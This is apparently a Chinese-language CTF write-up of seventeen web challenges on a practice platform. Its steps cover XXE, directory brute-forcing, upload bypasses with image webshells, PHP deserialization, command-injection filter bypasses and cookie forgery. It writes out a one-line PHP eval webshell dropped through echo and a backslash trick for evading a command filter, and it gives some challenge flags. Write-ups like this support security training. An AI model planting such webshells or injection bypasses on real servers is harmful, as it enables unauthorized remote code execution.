1.exx
进入页面时内容如图所示

点击phpinfo,发现能够看到当前PHP环境详细配置的页面,然后在配置环境中发现flag值,但是提交的时候却是错误的。


进行传参无法获取有效信息,尝试进行目录扫描,获取/dom.php页面

访问/dom.php:DOMDocument::loadXML()在解析XML时,若未禁用外部实体(LIBXML_NOENT或LIBXML_DTDLOAD),可触发XXE漏洞。

构造攻击载荷:通过定义外部实体flag指向系统文件,解析时实体被替换为文件内容。

解码得

2.EZ-host
进入页面如图所示,尝试进行传参,发现没有获取有用的信息

尝试进行目录爆破

访问/flag页面获得flag值

3.传马
进入页面如图所示

查看页面源代码观察运行上传什么类型的文件

使用bp将后缀名修改为php并成功上传


使用蚁剑进行连接获得flag值

4.笑傲上传
进入页面如图所示

查看源代码了解允许上传的文件类型

这种情况下前段进行了验证,无法想“传马”题目中那样进行绕过,在图片内容后面加入木马并显示成功上传

页面下还存在着后门,在该页面下能够看见上传的图片马


使用蚁剑进行连接,获得flag值

5.序列一下
进入页面可知是反序列化漏洞

构造序列化数据

获取flag值

6.坏掉的上传页
进入页面发现无法上传文件,查看源代码,发现提交按钮使用type="button"而非type="submit",导致点击按钮时不会触发表单提交。

无法进行上传,尝试进行目录爆破

访问/config.php,发现定义了一个常量DB_FILE,它是由路径和字符串“database.db”组成

使用Python脚本构造恶意上传文件,发现文件上传成功,已经记录到数据库中

访问http://cdb61f0d-2d42-40a4-bfbb-8827789317b6.www.polarctf.com:8090/database.db发现上传后的文件

使用蚁剑进行连接并获取flag值

7.xxmmll
进入页面发现没有可以利用的信息,于是进行目录爆破

访问/docker-compose.yml页面获得flag值

8.note
页面无可用信息直接进行目录爆破

访问/flag.txt获取flag值

9.赌王
查看页面源代码

使用bp进行抓包发现是进行传参

进行payload攻击,发现提示

访问该页面

尝试进行payload攻击,发现每一次的数值都比输入的大1

payload不行而且有输入框,尝试能不能弹个窗

发现这下面的字母拼在一起是个单词,继续尝试弹窗,发现弹出了新的东西

访问这个页面

输入ping命令出现权限不足的问题

查看页面源代码

base64解码

尝试进行抓包然后构造地址,发现并没有出现权限不足的问题,表示构造成功

使用ls /命令查看根目录下是否存在flag相关的文件或是目录

获取flag值

10.复读机RCE
无论输入什么命令都会出现以下的结果

尝试进行目录爆破也没有发现什么有用的信息

在尝试进行抓包同样也无可用的信息

尝试使用echo,发现将输入的内容复现在页面上

使用echo命令上传shell文件(echo "<?php @eval(\\$_POST["cmd"]);?>" > shell.php),\\$_POST:用反斜杠转义$,确保$_POST被视为字符串而非变量,然后使用蚁剑进行连接从而获取flag值

11.xCsMsD
打开页面首先需要登录,不找到用户名和密码,于是尝试进行目录爆破,发现存在可用文件,打开就是用户名和密码。


登录进入执行命令的界面,如图所示

执行ls命令

查看根目录下的目录以及文件

由于禁止使用cat、more、less等命令,使用tac命令查看flag文件内容

12.coke的登录
进入页面如图所示

查看提示发现用户名是coke

在页面源代码中发现存在cookies.php页面

访问cookies.php

账号和密码都已经获得,登录成功

查看源代码获得flag值

13.bllbl_rce
首先进行目录扫描,发现有可用的页面

访问/admin/admin.php页面,发现有可用信息

打开源码发现此页面存在sql注入的漏洞

由于php代码中只要求了command包含bllbl即可,构造恶意命令,发现此方法可行

查找包含flag的文件

查看文件并获取flag值

14.狗黑子的隐藏
查看源代码时发现隐藏信息

修改其属性出现一个输入框,输入命令能够返回相应的结果


输入其他命令是显示危险操作

发现使用echo命令能够将内容回显,尝试通过注入的方式上传webshell


再次使用ls命令查看是否上传在当前目录下,结果显示成功上传

使用蚁剑进行连接并获取flag值
15.nukaka_ser2
这段PHP代码存在反序列化漏洞,当$_GET['data']参数存在时,代码会先base64_decode其值,再通过正则/^[a-zA-Z0-9\\/+]+={0,2}$/校验后执行unserialize()。

构造payload

进行传参后得出flag值

16.你也玩铲吗?
进入页面如图所示

页面有所提示,注册一个账号

登录后发现提示

查看代码得出

进行目录爆破一下

访问/login_admin.html

将auth的值进行编码得出:dXNlcjphZG1pbg==

更改cookie值:

再查看代码,发现存在login_admin.php页面,访问则跳转管理员页面并获得flag值

17.真假RCE
1.根据代码的逻辑,输入?cmd=find,发现一些文件如下图所示:

2.访问/flag.php,发现内容如下图:

对其内容进行解码flag{heigouzi_p8Sjk58_2JSklNA},然后发现这是错误的flag值。
3.尝试列出根目录下有什么文件,输入?cmd=l\\s /,返回结果如下图所示:发现flag文件。

3.查看flag文件内容




